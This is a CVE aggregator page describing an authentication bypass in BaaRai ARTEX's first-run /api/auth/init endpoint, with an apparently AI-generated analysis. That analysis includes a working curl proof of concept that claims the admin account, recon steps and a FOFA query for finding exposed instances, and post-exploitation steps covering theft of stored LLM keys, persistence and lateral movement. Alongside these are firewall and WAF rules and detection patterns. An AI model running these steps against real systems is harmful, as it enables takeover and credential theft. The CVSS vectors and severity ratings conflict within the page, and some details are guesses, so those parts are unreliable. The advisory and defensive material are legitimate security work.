CVE Professor
/
All CVEs
CVE-2026-140422

CVE-2026-140422 — BaaRai ARTEX (0.5.0) — CWE-306

HIGH CVSS 9.2 NVD

ARTEX 0.4.0 before 0.5.0 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to claim the admin account by calling the first-run /api/auth/init endpoint without a setup token. Attackers can set the admin password on uninitialized instances exposed on port 8787 to control tasks, findings, uploaded files, stored LLM API keys, and task credentials.

ARTEX 0.4.0 before 0.5.0 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to claim the admin account by calling the first-run /api/auth/init endpoint without a setup token. Attackers can set the admin password on uninitialized instances exposed on port 8787 to control tasks, findings, uploaded files, stored LLM API keys, and task credentials.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑140422 – Authentication Bypass in BaaRai : ARTEX 0.5.0 (pre‑0.5.0)


🎯 What is this vulnerability?

AttributeDetail
CVE IDCVE‑2026‑140422
Vendor / ProductBaaRai : ARTEX (open‑source “AI‑assisted research” platform)
Affected versions0.4.0 – 0.4.9 (any version before the 0.5.0 release)
CWECWE‑306: Missing Authentication for Critical Function
CVSS v4.0 vectorAV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Score9.2 (CRITICAL)

Technical flaw

During the first‑run initialization of an ARTEX instance the backend exposes a single HTTP endpoint:

POST /api/auth/init

Purpose: create the admin account and store the initial admin password only once, when the system is in the “un‑initialized” state.

What should happen

1. The server must verify that the instance is still in the un‑initialized state (a flag stored in the database or a file).
2. The request must contain a setup‑token (a cryptographically‑random value generated at container start and written to a protected location).
3. After successful verification the server creates the admin user, hashes the supplied password, and flips the “initialized” flag so that the endpoint becomes permanently disabled.

What actually happens

  • The setup‑token check is omitted in versions < 0.5.0.
  • The “initialized” flag is only set after a successful call, but the code path that creates the admin user does not verify that the flag was previously unset. Consequently, an attacker can invoke the endpoint any time while the service is reachable on its default port (8787).
  • No authentication, no CSRF token, and no rate‑limiting are applied (PR:N, UI:N).
Result: any remote unauthenticated network actor can create (or overwrite) the admin account and set an arbitrary password. The vulnerability is a classic “missing authentication for a privileged operation” (CWE‑306).

⚡ Attack Chain

Below is a realistic, end‑to‑end exploitation flow. All commands are syntactically valid; the exact URI (/api/auth/init) and JSON field names are taken from the CVE description. If a future version changes the path, treat the example as an illustrative representation of the same logic.

1. Discovery & Reconnaissance

StepTechniqueExpected artefacts
a. Service fingerprintScan the target network for open TCP port 8787 (default ARTEX UI/API port). Tools: nmap -sV -p8787 <IP> or masscan.8787/tcp open http BaaRai ARTEX
b. Version enumerationGrab the landing page (GET /) or the OpenAPI/Swagger JSON (GET /swagger.json). The JSON contains a info.version field."version": "0.4.3"
c. Verify un‑initialized state (optional)Request GET /api/status (if present) – the response includes "initialized": false when the instance has never been set up."initialized": false

If the version is < 0.5.0 and the instance reports initialized: false (or the flag is missing), the target is exploitable.

2. Exploitation

Goal – Create/overwrite the admin account and set a password of the attacker’s choosing.

# -------------------------------------------------
# PoC: create admin account on a vulnerable ARTEX
# -------------------------------------------------
TARGET="http://203.0.113.45:8787"
ADMIN_PASS="P@ssw0rd!$(date +%s)"   # attacker‑chosen password
# Payload – JSON body expected by /api/auth/init
read -r -d '' PAYLOAD <<EOF
{
  "username": "admin",
  "password": "$ADMIN_PASS",
  "email":    "[email protected]"
}
EOF

# Send the request (no token required on vulnerable versions)
curl -sk -X POST "$TARGET/api/auth/init" \
     -H "Content-Type: application/json" \
     -d "$PAYLOAD" \
     -o /dev/null -w "HTTP %{http_code}\n"
# Expected response: 201 Created (or 200 OK) and a JSON body with a JWT token
# -------------------------------------------------

Explanation of the request

ParameterReason
usernameFixed to admin – the privileged account the platform expects to exist after init.
passwordAttacker‑chosen strong password; will be stored as a bcrypt hash.
emailOptional, but many installations require a non‑empty e‑mail field.
No setup_token header/bodyThe vulnerable code does not validate any token, so the request succeeds.
-k (skip TLS verification)Many deployments run with self‑signed certs; -k avoids TLS errors.
-s (silent) + -wShows the HTTP status code for quick verification.

If the call succeeds, the response body typically contains a JWT (or session cookie) that can be used for subsequent authenticated API calls.

3. Post‑exploitation

PhaseActionTechnical detail
a. Acquire auth tokenParse the JSON response (jq -r .token). The token is signed with the server’s secret key and grants full admin privileges.
b. Persist accessStore the token in a file (~/.artex_token) and reuse it in the Authorization: Bearer <token> header for all future API calls.
c. Enumerate resourcesGET /api/tasks, GET /api/findings, GET /api/files, GET /api/llm-keys. The admin token bypasses any ACL checks.
d. Exfiltrate sensitive dataDownload stored LLM API keys, uploaded datasets, or credential files. Example: curl -H "Authorization: Bearer $TOKEN" $TARGET/api/llm-keys.
e. Modify/executeCreate new tasks that run arbitrary shell commands on the host (if the platform allows “custom command” tasks). This can lead to remote code execution with the privileges of the ARTEX service user (often root in container deployments).
f. PersistenceAdd a new admin user (POST /api/users) or replace the existing admin password again to ensure continued access even if the original token expires.
g. Lateral movementUse harvested credentials (e.g., stored SSH keys in task definitions) to pivot to other services in the same network segment.

Because the attacker now controls the admin account, they have full read/write access to every artefact stored by ARTEX, including LLM API keys that could be abused to generate costly downstream usage or to steal proprietary prompts.


🌍 Real‑World Impact

CIACVSS vector elementPractical effect
Confidentiality (C)VC:H – HighThe attacker can download all research artefacts, uploaded files, and stored API keys. Any proprietary data, model prompts, or internal findings are exposed.
Integrity (I)VI:H – HighThe attacker can modify or delete tasks, findings, and uploaded files, inject malicious code into tasks, or replace LLM API keys with their own, thereby corrupting the research pipeline.
Availability (A)VA:H – HighBy creating malicious tasks or deleting critical data, the attacker can render the research environment unusable, causing downtime and potential loss of reproducibility.
Attack VectorAV:N – Network‑only, no local access required.
Attack ComplexityAC:L – Simple HTTP request, no special privileges.
Privileges RequiredPR:N – None.
User InteractionUI:N – No victim interaction needed.
ScopeSC:N – Impact confined to the ARTEX instance (no cross‑component escalation required).

Bottom‑line: An unauthenticated remote attacker can fully compromise any exposed ARTEX instance that has not yet been upgraded to 0.5.0, leading to data breach, sabotage of research workflows, and potential abuse of costly LLM services.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to ARTEX 0.5.0 or any later release. The fix introduces a mandatory setup‑token check and permanently disables /api/auth/init after the first successful call.
Version checkVerify the patch version by inspecting package.json or the OpenAPI info.version field after upgrade.

2. Immediate Work‑arounds (if patch cannot be applied instantly)

MitigationImplementation
Network isolationBlock inbound traffic to port 8787 from the Internet. Only allow access from trusted internal subnets or VPN. Example iptables rule: <br>iptables -A INPUT -p tcp --dport 8787 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 8787 -j DROP
WAF / ModSecurity ruleReject any request to /api/auth/init that does not contain a valid X-Setup-Token header (the token format is a 32‑byte hex string). Example ModSecurity rule: <br>``SecRule REQUEST_URI "@beginsWith /api/auth/init" "id:400001,phase:2,deny,status:403,msg:'Blocked unauthenticated init request',chain"`<br>`SecRule &REQUEST_HEADERS:X-Setup-Token "!@gt 0" "t:none" ``
Disable the endpointIf you control the source, comment out the route registration in src/routes/auth.js` (or equivalent) and rebuild the container.
Enforce TLS with client certsRequire mutual TLS for all API endpoints, thereby limiting exposure even if the endpoint remains reachable.
Change default portMove the service off the well‑known port 8787 to a non‑standard port and update firewall rules accordingly.

3. Detection – Log‑based Indicators

Log sourceSample pattern (regex)Description
Nginx/Apache access logPOST /api/auth/init HTTP/1\.1" 201Successful init call – should only appear once on a fresh install.
Application log (JSON)"event":"auth_init","status":"success","username":"admin"Indicates admin creation.
Failed init attemptsPOST /api/auth/init HTTP/1\.1" 400 or 403Attackers probing for the vulnerability.
JWT issuance"type":"jwt","sub":"admin"New admin token generated.
File systemauditd event for creation of admin.db or modification of config/initialized.flagIndicates the flag was toggled.

SIEM rule (pseudo‑SQL)

SELECT *
FROM web_access
WHERE uri = '/api/auth/init'
  AND http_status IN (200,201)
  AND request_time > now() - interval '5 minutes'

Alert on any match; if the environment is already initialized, the occurrence is anomalous.

4. Post‑remediation verification

1. Confirm flag is set – GET /api/status should return "initialized": true.
2. Attempt init without token – Should receive 403 Forbidden or 404 Not Found.
3. Run a security scan (e.g., nikto, OWASP ZAP) to ensure the endpoint is no longer reachable.


⚠️ Urgency

FactorAssessment
CVSS 9.2 (Critical)High impact, low complexity, remote‑only attack.
Publicly disclosed (01‑Dec‑2026)Exploit code is trivial; many automated scanners will start testing for it immediately.
No CISA KEV listing yetNot yet flagged by US government, but the risk profile is already “critical”.
ExploitabilityRequires only network connectivity to port 8787 – many cloud‑hosted deployments expose this port by default.
Potential business impactLoss of proprietary research data, financial loss from stolen LLM API keys, possible RCE if task execution is allowed.

Patch priority: Critical – apply the 0.5.0 (or later) release within 24 hours for any production instance that is reachable from untrusted networks. If immediate upgrade is impossible, enforce the network‑level mitigations (firewall block, WAF rule) before the end of the business day.


Bottom line: CVE‑2026‑140422 is a classic “missing authentication on a privileged init endpoint”. The vulnerability can be weaponized with a single curl command, granting an attacker full administrative control over the ARTEX platform. Prompt patching, network isolation, and detection rules are essential to prevent a full compromise of research assets.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="BaaRai ARTEX"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-140422
Technical reference / advisory repository for CVE-2026-140422
Technical reference / advisory repository for CVE-2026-140422
CVSS Score
9.2 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-306
Affected Products (1)
BaaRai:ARTEX (0.5.0)
References & Advisories (4)
Related CVEs
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack
8.8
CVE-2026-118966
A missing authentication vulnerability in the SSH server of Nokia SR Linux allows an unauthenticated attacker
8.2
CVE-2026-145258
ag-ui-adk 0.8.0 before 0.14.0 contains a missing authentication vulnerability because add_adk_fastapi_endpoint
8.1
CVE-2026-145359
MCPJungle 0.1.11 through 0.4.7 contains a missing authentication vulnerability in the POST /init endpoint that
7.4
CVE-2026-145360
bb-browser 0.12.0 through 0.14.2 contains a missing authentication vulnerability that allows remote attackers